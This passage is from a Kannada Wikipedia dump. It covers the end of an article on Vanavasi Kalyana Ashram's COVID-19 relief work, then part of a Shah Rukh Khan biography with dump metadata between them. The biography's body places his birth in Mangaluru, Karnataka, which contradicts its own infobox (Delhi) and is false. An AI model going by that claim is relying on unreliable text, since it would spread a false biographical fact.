archive-url=https://web.archive.org/web/20200504225138/https://samvada.org/2020/news/reaching-the-unreached-vanavasi-kalyana-karnatakas-seva-to-tribal-community-during-covid19-lockdown/| url-status=bot: unknown}}</ref>. * ದೇಶದೆಲ್ಲಾ ವನವಾಸಿ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಸ್ವಯಂಸೇವಕರು ಊಟ, ಮಾಸ್ಕ ಮುಂತಾದ ಅತ್ಯಂತ ಉಪಯುಕ್ತವಾದ ವಸ್ತುಗಳನ್ನು ತಲುಪಿಸಿದರು.<ref>{{cite web |last1=ಕುಮಾರ್ |first1=ಡಾ. ಪ್ರಮೋದ್ |title=ಅತ್ಯಂತ ತೊಂದರೆಯಲ್ಲಿರುವವರಿಗೆ ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದಿಂದ ಪರಿಹಾರ ಕಾರ್ಯ |url=https://www.organiser.org/Encyc/2020/4/8/Serving-the-Most-Marginalised.html |website=www.organiser.org |publisher=organiser |accessdate=7 May 2020 |archive-date=7 ಮೇ 2020 |archive-url=https://web.archive.org/web/20200507152520/https://www.organiser.org/Encyc/2020/4/8/Serving-the-Most-Marginalised.html |url-status=bot: unknown }}</ref>. * ಈ ಸಮಯದಲ್ಲಿ ವನವಾಸಿ ಬಂಧುಗಳ ಪ್ರಾಮಾಣಿಕತೆಯ ಅನುಭವವೂ ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದ ಸ್ವಯಂಸೇವಕರಿಗಾಯಿತು. ಕರ್ನಾಟಕದ ಬಸವನಬೆಟ್ಟ ಕಾಡಿನಲ್ಲಿ ಸೇವಾಕಾರ್ಯಕ್ಕೆ ಹೋಗಿದ್ದಾಗ ಪ್ರಾಮಾಣಿಕವಾಗಿ ಬೇಕಾದಷ್ಟು ಸಹಾಯ ಮಾತ್ರ ಪಡೆದು ಉಳಿದದ್ದು ಇತರ ವನವಾಸಿಗಳಿಗೆ ಕೊಡಲು ಹೇಳಿದರು <ref>{{cite web|last1=ವೈದ್ಯರಾಜ್|first1=ಪ್ರಶಾಂತ|title=ಕೋವಿಡ್-೧೯ ಸಮಯದಲ್ಲಿ ವನವಾಸಿಗಳ ಪ್ರಾಮಾಣಿಕತೆಯ ದರ್ಶನ|url=https://www.organiser.org/Encyc/2020/4/30/Vanavasi-Karyakartas-amazed-by-the-honesty-displayed-by-the-poorest-of-the-poor.html|website=www.organiser.org|publisher=organiser|accessdate=7 May 2020|archive-date=7 ಮೇ 2020|archive-url=https://web.archive.org/web/20200507150649/https://www.organiser.org/Encyc/2020/4/30/Vanavasi-Karyakartas-amazed-by-the-honesty-displayed-by-the-poorest-of-the-poor.html|url-status=bot: unknown}}</ref>. ==ಆಧಾರ/ಆಕರಗಳು== {{Reflist}} ==ಹೊರಗಿನ ಕೊಂಡಿಗಳು== * [https://www.exoticindiaart.com/book/details/wide-wings-of-vanavasi-kalyan-ashram-tale-of-service-struggle-NAJ396|Wide Wings of Vanavasi Kalyan Ashram (A Tale of Service & Struggle) by Surya Narain Saxena] * [https://www.youtube.com/watch?v=9-qwbPEQf6M|ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದ ವನವಾಸಿ ಕ್ರೀಡೋತ್ಸವ] * [https://www.youtube.com/watch?v=2BqQEnPkK38|ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮ, ಆಂಧ್ರಪ್ರದೇಶದ ಒಂದು ಕಿರು ಪರಿಚಯ] * [https://www.youtube.com/watch?v=4BbMnxDFOjk|ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದ ಕಾರ್ಯವಿಸ್ತಾರ] * [https://www.youtube.com/watch?v=X91FaGbmtro|ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದ ಬಗ್ಗೆ ಒಂದು ಸಣ್ಣ ಸಾಕ್ಷ್ಯಚಿತ್ರ] * [https://www.youtube.com/watch?v=_PDu3T4gHtU|ಕೋವಿಡ್-೧೯ ಸಮಯದಲ್ಲಿ ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದ ಕೆಲಸ] [[ವರ್ಗ:ಸಂಘ ಪರಿವಾರ]] [[ವರ್ಗ:ಸಾಮಾಜಿಕ ಸಂಸ್ಥೆಗಳು]] 0q6cysfngqvqcdxf3jwjv3hu2l8mbtb ಶಾರುಖ್ ಖಾನ್ (ಹಿಂದಿ ನಟ) 0 21391 1116490 1095999 2022-08-23T14:28:41Z InternetArchiveBot 69876 Rescuing 9 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox actor | bgcolour = | name = ಶಾರುಖ್ ಖಾನ್ | image =Shah Rukh Khan (Berlin Film Festival 2008) 3.jpg | imagesize = | caption = ಶಾಹ್ ರುಖ್ ಖಾನ್ | othername = ಕಿಂಗ್ ಖಾನ್, ಕಿಂಗ್ ಆಫ್ ಬಾಲಿವುಡ್<ref>{{cite web|url=http://www.hindu.com/thehindu/holnus/009200706171961.htm|title=Indian cinema doing well because of cultural ethos: Shah Rukh Khan|date=June 17, 2007|author=|publisher=''[[ದಿ ಹಿಂದೂ]]''|accessdate=2009-08-16|archive-date=2010-05-23|archive-url=https://web.archive.org/web/20100523085431/http://www.hindu.com/thehindu/holnus/009200706171961.htm|url-status=dead}}</ref> | birthdate = ೨ ನವೆಂಬರ್ ೧೯೬೫ | location = [ದೆಹಲಿ],ಭಾರತ | yearsactive = 1988–present | spouse = [[ಗೌರಿ ಖಾನ್]] (1991-present ) | occupation = ನಟ, ನಿರ್ಮಾಪಕ }} ನವೆಂಬರ್ ೨, ೧೯೬೫ ರಂದು ಜನಿಸಿದ '''ಶಾರುಖ್‌ ಖಾನ್‌''' ರವರು {{lang-hi|शाहरुख़ ख़ान}} {{lang-ur|{{Nastaliq|شاہ رُخ خان}}}}), ಪ್ರಖ್ಯಾತ [[ಬಾಲಿವುಡ್‌]] ತಾರೆಯಲ್ಲದೇ, [[ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕರು|ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕ]] ಮತ್ತು [[ಕಿರುತೆರೆ ನಿರೂಪಕ]]ರೂ ಆಗಿರುವ ಓರ್ವ ಭಾರತೀಯ ನಟ. ಇವರನ್ನು '''ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್‌''' ಎಂಬ ಜನಪ್ರಿಯ ಹೆಸರಿಂದಲೂ ಸಹಾ ಗುರುತಿಸಲಾಗುತ್ತದೆ. ಈ ಜನಪ್ರೀಯ ನಟನನ್ನು ಆತನ ಅಭಿಮಾನಿಗಳು ಕಿಂಗ್ ಖಾನ್, ಬಾಲಿವುಡ್ ಬಾದಷಾ ಅಂತಲೂ ಕರೆಯುತ್ತಾರೆ == 'ಕಿರುತೆರೆ'ಯ, ಶಾರುಖ್ ಖಾನ್,'ಬಾಲಿವುಡ್ ವಲಯದಲ್ಲೂ, 'ಪ್ರಚಂಡ ಚನಪ್ರಿಯತೆಯನ್ನು ಗಳಿಸಿದರು' == ೧೯೮೦ 0ರ ದಶಕದ ಕೊನೆಯಲ್ಲಿ ಅನೇಕ ಕಿರುತೆರೆ ಧಾರಾವಾಹಿಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತಾ ತಮ್ಮ ವೃತ್ತಿಜೀವನವನ್ನು 'ಖಾನ್‌' ಆರಂಭಿಸಿದರು. ಅವರನ್ನು '[[ದೀವಾನಾ]]'(೧೯೯೨) ಚಲನಚಿತ್ರದ ಮೂಲಕ ಚಿತ್ರಜಗತ್ತಿಗೆ ಪರಿಚಯಿಸಲಾಯಿತು. ಆಗಿನಿಂದ, ಅವರು ಅಸಂಖ್ಯಾತ ವಾಣಿಜ್ಯಾತ್ಮಕವಾಗಿ ಯಶಸ್ವಿಯಾದ ಚಿತ್ರಗಳ ಭಾಗವಾಗಿ, ತಮ್ಮ ಅನೇಕ ಪಾತ್ರಗಳ ಅಭಿನಯಗಳಿಂದಾಗಿ ವ್ಯಾಪಕ ಕೀರ್ತಿಗೆ ಪಾತ್ರರಾದರು. [[ಭಾರತೀಯ ಚಲನಚಿತ್ರ|ಭಾರತೀಯ ಚಿತ್ರೋದ್ಯಮ]]ದಲ್ಲಿನ ತನ್ನ ಕಾಲದಲ್ಲಿ, ಖಾನ್ [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ|ಅತ್ಯುತ್ತಮ ನಟ]] ವಿಭಾಗದಲ್ಲಿನ ಏಳು ಪ್ರಶಸ್ತಿಗಳೂ ಸೇರಿದಂತೆ ಹದಿಮೂರು [[ಫಿಲ್ಮ್‌ಫೇರ್ ಪ್ರಶಸ್ತಿಗಳು|ಫಿಲ್ಮ್‌ಫೇರ್ ಪ್ರಶಸ್ತಿಗಳ]]ನ್ನು ಗೆದ್ದಿದ್ದಾರೆ. * '[[ದಿಲ್‌ವಾಲೆ ದುಲ್ಹನಿಯಾ ಲೇ ಜಾಯೆಂಗೆ]],' (೧೯೯೫), * '[[ಕುಚ್‌ ಕುಚ್‌ ಹೋತಾ ಹೈ]],' (೧೯೯೮), * '[[ಚಕ್‌ ದೇ ಇಂಡಿಯಾ]],' (೨೦೦೭), * '[[ಓಂ ಶಾಂತಿ ಓಂ]]' (೨೦೦೭) ಮತ್ತು * '[[ರಬ್‌ ನೇ ಬನಾದಿ ಜೋಡೀ]],' (೨೦೦೮) ಗಳಂತಹಾ ಖಾನ್‌ರ‌, ಚಿತ್ರಗಳು ಬಾಲಿವುಡ್‌ನ ಅತಿ ಜನಪ್ರಿಯ ಚಿತ್ರಗಳಾಗಿ ಉಳಿದರೆ, * '[[ಕಭೀ ಖುಷಿ ಕಭೀ ಗಮ್‌]]' (೨೦೦೧), * '[[ಕಲ್‌ ಹೋ ನಾ ಹೋ]],' (೨೦೦೩), * '[[ವೀರ್-ಝಾರಾ]]' (೨೦೦೪) ಮತ್ತು '[[ಕಭೀ ಅಲ್ವಿದಾ ನಾ ಕೆಹೆನಾ]],' (೨೦೦೬) ನಂತಹಾ ಚಿತ್ರಗಳು ಸಾಗರದಾಚೆಯ/ವಿದೇಶಿ ಮಾರುಕಟ್ಟೆ ಕೊಳ್ಳೆ ಹೊಡೆದ ಭಾರತೀಯ ನಿರ್ಮಿತ ಚಿತ್ರಗಳಾಗಿ, ಅವರನ್ನು ಭಾರತದ ಯಶಸ್ವಿ ನಟರಲ್ಲಿ ಒಬ್ಬರನ್ನಾಗಿ ಮಾಡಿದವು.<ref>{{cite web|title=Bollywood bonanza|url=http://www.hindu.com/mp/2004/11/11/stories/2004111101010300.htm|author=Kumar, Anuj|date=November 11, 2004|publisher=''[[ದಿ ಹಿಂದೂ]]''|accessdate=2009-08-16|archive-date=2009-11-06|archive-url=https://web.archive.org/web/20091106120546/http://www.hindu.com/mp/2004/11/11/stories/2004111101010300.htm|url-status=dead}}<br />{{cite web|title=Being SRK|url=http://www.hindu.com/cp/ ೨೦೦೭/೧೨/೦೭/stories/2007120750010100.htm|author=Kamath, Sudhish|date=december ೭, ೨೦೦೭|publisher=''[[ದಿ ಹಿಂದೂ]]''|accessdate=೨೦೦೯-೦೮-೧೬|archive-date=2009-10-17|archive-url=https://web.archive.org/web/20091017222927/http://www.hindu.com/cp/|url-status=dead}}</ref> ೨೦೦೦ ನೇ ಇಸವಿಯಿಂದ, ಖಾನ್ [[ಚಲನಚಿತ್ರ ನಿರ್ಮಾಣ|ಚಿತ್ರ ನಿರ್ಮಾಣ]] ಹಾಗೂ [[ಕಿರುತೆರೆ ನಿರೂಪಕ|ಕಿರುತೆರೆ ನಿರೂಪಣಾ ಕ್ಷೇತ್ರ]]ಗಳಲ್ಲೂ ತಮ್ಮ ಶಾಖೆ ತೆರೆದರು. ಅವರು ಎರಡು ನಿರ್ಮಾಣ ಕಂಪೆನಿಗಳಾದ, [[ಡ್ರೀಮ್ಸ್‌ ಅನ್‌ಲಿಮಿಟೆಡ್‌]] ಮತ್ತು [[ರೆಡ್‌ ಚಿಲ್ಲೀಸ್‌ ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್‌]]ಗಳ ಸ್ಥಾಪಕ/ಮಾಲಿಕರೂ ಹೌದು‌. 2008ರಲ್ಲಿ, ''[[ನ್ಯೂಸ್‌ವೀಕ್|ನ್ಯೂಸ್‌ವೀಕ್‌]]'' ಅವರಿಗೆ ವಿಶ್ವದ ೫೦ ಹೆಚ್ಚು ಪ್ರಭಾವಶಾಲಿ ವ್ಯಕ್ತಿಗಳಲ್ಲಿ ಒಬ್ಬರೆಂಬ ಅಭಿದಾನ ನೀಡಿತು.<ref>{{cite web | url=http://www.newsweek.com/id/176325 | work=[[Newsweek]] | date=೨೦ ಡಿಸೆಂಬರ್, ೨೦೦೮| accessdate=೨೪ ಡಿಸೆಂಬರ್, ೨೦೦೮| title=The Global Elite – 41: Shahrukh Khan}}</ref> == 'ಜನನ', 'ಬಾಲ್ಯ', 'ವಿದ್ಯಾಭ್ಯಾಸ', ಮತ್ತು 'ವೃತ್ತಿ ಜೀವನ' == [[ಚಿತ್ರ:Shah Rukh Khan and Family.jpg|thumb|200px|ಶಾರುಖ್‌ ಖಾನ್ ಮತ್ತು ಕುಟುಂಬ]] '[[ಶಾರುಖ್ ಖಾನ್‌]]', ೧೯೬೫ ರಲ್ಲಿ [[ಭಾರತ]] ದೇಶದ [[ಕರ್ನಾಟಕ ರಾಜ್ಯದ ಮಂಗಳೂರು]] ಎಂಬಲ್ಲಿ [[Pathan|ಪಠಾಣ್‌]] ಸಂಸ್ಕೃತಿಯ [[ಪಠಾಣ್‌|ಮುಸಲ್ಮಾನ]] ಪೋಷಕರಿಗೆ ಹುಟ್ಟಿದರು.<ref name="Rediff-Pathan">{{cite web|url = http://www.rediff.com/movies/2007/mar/16srk.htm| title = The Rediff Interview / Shah Rukh Khan|publisher = Rediff|accessdate =೨೦೦೬-೦೬-೦೫}}</ref> ಅವರ ತಂದೆ, '[[ತಾಜ್‌ ಮೊಹಮ್ಮದ್‌ ಖಾನ್‌ರು]]', [[ಬ್ರಿಟಿಷ್‌ ಭಾರತ]]ದ [[ಪೇಷಾವರ್]] ಮೂಲದ [[ಭಾರತೀಯ ಸ್ವಾತಂತ್ರ್ಯ ಸಂಗ್ರಾಮದ ಕಾರ್ಯಕರ್ತರು|ಭಾರತೀಯ ಸ್ವಾತಂತ್ರ್ಯಸಂಗ್ರಾಮದ ಕಾರ್ಯಕರ್ತ]]ರಾಗಿದ್ದರು. ಖಾನ್‌ರ‌ ಪ್ರಕಾರ, ಅವರ ತಂದೆ ಕಡೆಯ ಅಜ್ಜ [[ಅಫ್ಘಾನಿಸ್ತಾನ್‌|ಆಫ್ಘಾನಿಸ್ತಾನ್‌]] ಮೂಲದವರು.<ref>[https://www.youtube.com/watch?v=zxItARuTJT0&amp;feature=related ಆಫ್ಘನ್‌ TV ವಾಹಿನಿಯಲ್ಲಿ ಆಫ್ಘನ್‌ ಚಿತ್ರನಿರ್ದೇಶಕರೊಂದಿಗೆ 2009ರ ಸಂದರ್ಶನ], ಶಾರುಖ್‌ ಖಾನ್ ಅವರ ತಂದೆಯ ತಂದೆ (ಅಜ್ಜ) ಆಫ್ಘನ್‌ ಮೂಲದವರೆಂದು ಹೇಳುತ್ತಾರೆ.</ref> ಅವರ ತಾಯಿ, [[ಸುಭಾಷ್‌ ಚಂದ್ರ ಬೋಸ್‌|ಸುಭಾಷ್‌ ಚಂದ್ರ ಬೋಸ್‌‌]]<ref>{{cite web | work=telegraphindia.com | title=Badshah at durbar and dinner | url=http://www.telegraphindia.com/1040531/asp/frontpage/story_3313328.asp | accessdate=12 March | accessyear=2007 | archive-date=2009-01-27 | archive-url=https://web.archive.org/web/20090127042930/http://telegraphindia.com/1040531/asp/frontpage/story_3313328.asp | url-status=dead }}</ref>‌ರ [[ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಸೇನೆ|ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಸೇನೆ/ಇಂಡಿಯನ್‌ ನ್ಯಾಷನಲ್‌ ಆರ್ಮಿ]]ಯಲ್ಲಿ ಜನರಲ್‌ ಆಗಿದ್ದ [[ಜಂಜುವಾ|ಜಂಜುವಾ ರಜಪೂತ್‌]] ಕುಲದ [[ಮೇಜರ್ ಜನರಲ್‌#ಭಾರತ|ಮೇಜರ್ ಜನರಲ್‌]] [[ಷಾ ನವಾಜ್‌ ಖಾನ್ (ಜನರಲ್)|ಷಾಹ್‌ ನವಾಜ್‌ ಖಾನ್‌]]ರ‌, ದತ್ತು ಪುತ್ರಿಯಾಗಿದ್ದ '[[ಲತೀಫ್‌ ಫಾತಿಮಾ]].' ಖಾನ್‌ರ‌ ತಂದೆಯವರು [[ಭಾರತದ ಸ್ವಾತಂತ್ರ್ಯ ಮತ್ತು ವಿಭಜನೆ|ಭಾರತ ವಿಭಜನೆ]]ಗೆ ಮುನ್ನ [[ಪೇಷಾವರ್]]ನ [[ಕಿಸ್ಸಾ ಖವಾನಿ ಬಜಾರ್|ಕಿಸ್ಸಾ ಖವಾನಿ ಬಜಾರ್‌]]ನಿಂದ ನವದೆಹಲಿಗೆ ಸ್ಥಳಾಂತರಗೊಂಡರೆ,<ref>{{cite web |url=http://specials.rediff.com/news/2004/may/31sl02.htm |title=Rediff News Gallery: The Shahrukh Connection}}</ref> ಅವರ ತಾಯಿಯವರ ಕುಟುಂಬ [[ಬ್ರಿಟಿಷ್‌ ಭಾರತ]]ದ [[ರಾವಲ್ಪಿಂಡಿ]]ಯಿಂದ ಬಂದವರು.<ref>ಸುಗಾತಾ ಬೋಸ್‌ರವರ ''A ಹಂಡ್ರೆಡ್‌ ಹಾರಿಜಾನ್ಸ್‌ '' , 2006 USA, p136</ref> ಖಾನ್‌ರಿಗೆ ಷೆಹ್‌ನಾಜ್‌ ಎಂಬ ಹೆಸರಿನ ಅಕ್ಕ ಇದ್ದಾರೆ.<ref>{{cite web |url= http://movies.indiatimes.com/cms.dll/articleshow?artid=177008&right=1&fright=1&botlink=1 |title= Shahrukh Khan - Journey |access-date= 2009-10-29 |archive-date= 2008-12-27 |archive-url= https://web.archive.org/web/20081227064913/http://movies.indiatimes.com/cms.dll/articleshow?artid=177008&right=1&fright=1&botlink=1 |url-status= dead }}</ref> == ಪ್ರಾಥಮಿಕ ವಿದ್ಯಾಬ್ಯಾಸ == ಖಾನ್‌ [[ಸೇಂಟ್, ಕೊಲಂಬಸ್‌ ಶಾಲೆ (ದೆಹಲಿ)|ಸೇಂಟ್, ಕೊಲಂಬಸ್‌ ಶಾಲೆ]]ಯಲ್ಲಿ ಶಿಕ್ಷಣ ಪಡೆದು ಕ್ರೀಡೆಗಳು, ನಾಟಕ ಮತ್ತು ಶಿಕ್ಷಣಗಳಲ್ಲಿ ಸಾಧನೆ ನಡೆಸಿದರು. ಶಾಲೆಯ ಮಹತ್ವವನ್ನು ಉತ್ತಮ ರೀತಿಯಲ್ಲಿ ಪ್ರತಿನಿಧಿಸಿದ ವಿದ್ಯಾರ್ಥಿಗೆ ನೀಡಲಾಗುತ್ತಿದ್ದ ವಾರ್ಷಿಕ ಪ್ರಶಸ್ತಿ ''ಗೌರವಾನ್ವಿತ ಖಡ್ಗ'' ವನ್ನು ಸಹಾ ಗೆದ್ದರು. ನಂತರ [[ಹನ್ಸ್‌ರಾಜ್‌ ಕಾಲೇಜ್‌/ಮಹಾವಿದ್ಯಾಲಯ|ಹನ್ಸ್‌‌ರಾಜ್‌ ಮಹಾವಿದ್ಯಾಲಯ]]ದಲ್ಲಿ (೧೯೮೫-೧೯೮೮) ಶಿಕ್ಷಣ ಪಡೆದ ಖಾನ್, ಅಲ್ಲಿ ತಮ್ಮ [[ಆರ್ಥಿಕತೆ|ಅರ್ಥಶಾಸ್ತ್ರ]]ದ(ಆನರ್ಸ್‌) ಪದವಿ ಪಡೆದರು. [[ಜಾಮಿಯಾ ಮಿಲಿಯಾ ಇಸ್ಲಾಮಿಯಾ]]ದಲ್ಲಿ [[ಸಮೂಹ ಮಾಧ್ಯಮಗಳು|ಸಮೂಹ ಮಾಧ್ಯಮ]] ವಿಷಯದ [[ಸ್ನಾತಕೋತ್ತರ ಪದವಿ]]ಗೆ ಅಧ್ಯಯನ ನಡೆಸಿದರೂ ನಂತರ ಅವರು[[ಬಾಲಿವುಡ್‌]]ನಲ್ಲಿ ತಮ್ಮ ವೃತ್ತಿಜೀವನ ರೂಪಿಸಿಕೊಳ್ಳಲು ಅದನ್ನು ತೊರೆದರು.<ref>{{cite web |url=http://www.indiafm.com/features/ ೨೦೦೬/೧೧/೦೨/೧೯೭೭|title=Facts you never knew about SRK |author=IndiaFM News Bureau |publisher=[[indiaFM]] |date=೯ November ೨೦೦೬|accessdate=೨೦೦೮-೦೬-೨೬}}</ref> == ಪೋಷಕರ ಸಾವಿನನಂತರ == ಖಾನ್ ತಮ್ಮ ಪೋಷಕರ ಸಾವಿನ ನಂತರ ೧೯೯೧ ರಲ್ಲಿ<ref>{{cite web |work=zeenews.com |title=Shah Rukh Khan turns ೪೨ |url=http://www.zeenews.com/znnew/articles.asp?aid=404915&sid=ZNS&sname=exclusive-news |accessdate=೨ November |accessyear=೨೦೦೭}}</ref> [[ಮುಂಬಯಿ]]ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡರು. ಅದೇ ವರ್ಷ, ತಮ್ಮ ಯಾವುದೇ ಚಿತ್ರಗಳು ಬಿಡುಗಡೆಯಾಗುವ ಮುಂಚೆ ೨೫ ಅಕ್ಟೋಬರ್ ೧೯೯೧ ರಂದು ಸಾಂಪ್ರದಾಯಿಕ [[ಹಿಂದೂ ಮದುವೆ|ಹಿಂದೂ ಮದುವೆ ಸಮಾರಂಭ]]ದಲ್ಲಿ [[ಗೌರಿ ಖಾನ್|ಗೌರಿ ಚಿಬ್ಬರ್]]‌ (ಈಕೆ ಹಿಂದೂ ಧರ್ಮದವರು)ರನ್ನು ವಿವಾಹವಾದರು.<ref>{{cite web |url=http://www.hinduonnet.com/thehindu/fr/ ೨೦೦೬/೧೧/೨೭/೧೧/೧೭/stories/2006111701130100.htm |title=Much ado about King Khan |date=೧೭ November ೨೦೦೬ |author=Siddiqui, Rana |publisher=The Hindu |accessdate=೨೦೦೮-೦೨-೦೯ |archive-date=2009-10-28 |archive-url=https://web.archive.org/web/20091028075238/http://www.hinduonnet.com/thehindu/fr/ |url-status=dead }}</ref> ಅವರಿಗೆ ಇಬ್ಬರು ಮಕ್ಕಳಿದ್ದಾರೆ, ಮಗ ಆರ್ಯನ್‌(ಜ. ೧೯೯೭) ಮತ್ತು ಮಗಳು ಸುಹಾನಾ (ಜ. ೨೦೦೦). ಖಾನ್‌ರ ಪ್ರಕಾರ, ಅವರು [[ಅಲ್ಲಾಹ್|ಅಲ್ಲಾಹು]]ವಿನಲ್ಲಿ ತೀವ್ರ ಶ್ರದ್ಧೆಯನ್ನಿಟ್ಟಿದ್ದರೂ, ತಮ್ಮ ಪತ್ನಿಯ ಧರ್ಮವನ್ನೂ ಗೌರವಿಸುತ್ತಾರೆ. ಮನೆಯಲ್ಲಿ, ಅವರ ಮಕ್ಕಳು ಹಿಂದೂ ದೇವತೆಗಳೊಂದಿಗೆ [[ಖುರಾನ್‌|ಕುರ್‌-ಆನ್‌]] ಅನ್ನು ಇಟ್ಟು ಎರಡೂ ಧರ್ಮಗಳನ್ನು ಪಾಲಿಸುತ್ತಾರೆ.<ref>{{cite web |url=http://news.bbc.co.uk/1/hi/world/south_asia/4274774.stm |title=Who's the real Shah Rukh Khan? |author=Zubair Ahmed |publisher=BBC News - BBC |date=23 September 2005 |accessdate=2008-08-26}}</ref> == ೨೦೦೫ ರಲ್ಲಿ == ೨೦೦೫ ರಲ್ಲಿ, [[ನಸ್ರೀನ್‌ ಮುನ್ನಿ ಕಬೀರ್|ನಸ್ರೀನ್‌ ಮುನ್ನಿ ಕಬೀರ್‌]]ರು ಖಾನ್‌ರ ಮೇಲೆ ಎರಡು-ಭಾಗಗಳ, ''[[ದ ಇನ್ನರ್ ಅಂಡ್‌ ಔಟರ್ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್‌|ದ ಇನ್ನರ್ ಅಂಡ್‌ ಔಟರ್ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್‌/ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್‌ರ ಆಂತರಿಕ ಹಾಗೂ ಬಾಹ್ಯ ಪ್ರಪಂಚ]]'' ಎಂಬ ಶೀರ್ಷಿಕೆಯ [[ಸಾಕ್ಷ್ಯಚಿತ್ರ]]ವನ್ನು ನಿರ್ಮಿಸಿದರು. ಅವರ 2004 ಟೆಂಪ್ಟೇಷನ್ಸ್‌ ಸಂಗೀತ ಪ್ರವಾಸವನ್ನು ವಿಶೇಷ ಆಕರ್ಷಣೆಯಾಗಿಸಿದ್ದ ಆ ಚಿತ್ರವು, ಖಾನ್‌ರ‌, ಕುಟುಂಬದ ಆಂತರಿಕ ಪ್ರಪಂಚ ಹಾಗೂ ಹೊರಪ್ರಪಂಚದ ವೃತ್ತಿಜೀವನದ ದೈನಂದಿನ ಜೀವನದ ವೈದೃಶ್ಯಗಳನ್ನು ಎತ್ತಿ ತೋರಿಸಿತ್ತು. ''ಸ್ಟಿಲ್‌ ರೀಡಿಂಗ್‌ ಖಾನ್'' ‌, ಎಂಬ ಅವರ ಕೌಟುಂಬಿಕ ಜೀವನದ ಬಗ್ಗೆ ಬರೆದ ಪುಸ್ತಕವು ೨೦೦೭ ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು. [[ಅನುಪಮ ಚೋ/ಛೋಪ್ರಾ|ಅನುಪಮಾ ಛೋ/ಚೋಪ್ರಾ]]ರ ಇನ್ನೊಂದು ಪುಸ್ತಕ, "ಕಿಂಗ್‌ ಆಫ್‌ ಬಾಲಿವುಡ್‌: ಶಾರುಖ್‌ ಖಾನ್ ಅಂಡ್‌ ದ ಸೆಡಕ್ಟಿವ್‌ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಇಂಡಿಯನ್‌ ಸಿನೆಮಾ", 2007ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು. ಈ ಪುಸ್ತಕವು ಖಾನ್‌ರ‌ ಜೀವನದ ಮುಖಾಂತರ ಬಾಲಿವುಡ್‌ ಪ್ರಪಂಚವನ್ನು ವಿವರಿಸಿತು.<ref>{{cite web|title=The Khan story|url=http://www.hindu.com/mag/2007/08/05/stories/2007080550130500.htm|date=August 5, 2007|author=Gautam, Savitha|publisher=''[[ದಿ ಹಿಂದೂ]]''|accessdate=2009-08-16|archive-date=2009-10-19|archive-url=https://web.archive.org/web/20091019114247/http://www.hindu.com/mag/2007/08/05/stories/2007080550130500.htm|url-status=dead}}</ref><ref>{{cite web|title=Face of a new India|url=http://www.tribuneindia.com/2007/20070805/spectrum/main5.htm|date=August 5, 2007|publisher=''[[The Tribune]]''|accessdate=2000-08-16|author=Kumar Sen, Ashish}}</ref> == ಪ್ರಶಸ್ತಿಗಳು == * ಖಾನ್‌ ಅವರು ಅನೇಕ ಪ್ರಶಸ್ತಿಗಳಿಗೆ ಭಾಜನರಾಗಿದ್ದಾರೆ. [[ಭಾರತ]]ದ ನಾಲ್ಕನೇ ಉನ್ನತ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ [[ಪದ್ಮಶ್ರೀ]]ಯನ್ನು ಅವರಿಗೆ ಭಾರತ ಸರ್ಕಾರದ ವತಿಯಿಂದ 2005ರಲ್ಲಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ಏಪ್ರಿಲ್‌ ೨೦೦೭ ರಲ್ಲಿ, [[ಲಂಡನ್‌|ಲಂಡನ್‌‌]]ನ ''[[ಮೇಡಮ್ ಟುಸ್ಸಾಡ್ಸ್|ಮೇಡಮ್‌ ತುಸ್ಸಾಡ್‌ರ]] ಮೇಣದ ಪುತ್ಥಳಿಗಳ ಸಂಗ್ರಹಾಲಯ'' ದಲ್ಲಿ ಖಾನ್ ಅವರ ಸಹಜ ಗಾತ್ರದ ಪುತ್ಥಳಿಯನ್ನು ಸ್ಥಾಪಿಸಲಾಯಿತು. ಅದೇ ವರ್ಷ [[ಪ್ಯಾರಿಸ್‌]]ನ ''[[ಮುಸೀ ಗ್ರೆವಿನ್‌|ಮ್ಯುಸೀ ಗ್ರೆವಿನ್‌]]'' ಎಂಬಲ್ಲಿ ಮತ್ತೊಂದು ಪ್ರತಿಮೆಯನ್ನು ಸ್ಥಾಪಿಸಲಾಯಿತು.<ref>{{cite web|url=http://www.madame-tussauds.co.uk/shah_rukh_khan.htm|title=Shah Rukh Khan Now Live At Madame Tussauds|access-date=2009-10-29|archive-date=2009-04-30|archive-url=https://web.archive.org/web/20090430154124/http://www.madame-tussauds.co.uk/shah_rukh_khan.htm|url-status=dead}}</ref> ತಮ್ಮ “ಅಸಾಧಾರಣ ವೃತ್ತಿಜೀವನ”ದ ಸಾಧನೆಗಾಗಿ ಫ್ರೆಂಚ್‌ ಸರಕಾರದಿಂದ [[ಆರ್ಡ್ರೆ ಡೆಸ್‌ ಆರ್ಟ್ಸ್‌ ಎಟ್‌ ಡೆಸ್‌ ಲೆಟ್ರೆಸ್‌|ಆರ್ಡರೆ ಡೆಸ್‌ ಆರ್ಟ್ಸ್‌ ಎಟ್‌ ಡೆಸ್‌ ಲೆಟ್ರೆಸ್‌]] (ಆರ್ಡರ್‌ ಆಫ್‌ ದ 